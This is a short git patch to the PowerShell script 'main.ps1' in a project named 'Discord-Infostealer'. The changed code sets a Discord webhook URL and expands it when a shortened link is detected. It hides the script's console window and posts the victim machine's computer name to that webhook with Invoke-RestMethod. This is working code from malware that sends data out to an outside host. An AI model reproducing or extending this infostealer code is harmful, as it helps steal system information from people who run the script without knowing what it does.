From 39ecf072d45defd9525f16be80368a7f6bc358b9 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Mon, 12 Feb 2024 15:30:52 +0000 Subject: [PATCH] Update main.ps1 --- Discord-Infostealer/main.ps1 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Discord-Infostealer/main.ps1 b/Discord-Infostealer/main.ps1 index a2b92a1..15da123 100644 --- a/Discord-Infostealer/main.ps1 +++ b/Discord-Infostealer/main.ps1 @@ -1,6 +1,6 @@ # SYSTEM INFO TO DISCORD -if ($hookurl.Ln -eq 0){$hookurl = "$dc"} +$hookurl = "$dc" # shortened URL Detection if ($hookurl.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $hookurl = (irm $hookurl).url} @@ -16,6 +16,7 @@ else{ $hwnd = $Proc.MainWindowHandle $Type::ShowWindowAsync($hwnd, 0) } + $jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = ":computer: ``Gathering System Information for $env:COMPUTERNAME.. Please wait`` :computer:"} | ConvertTo-Json Invoke-RestMethod -Uri $hookurl -Method Post -ContentType "application/json" -Body $jsonsys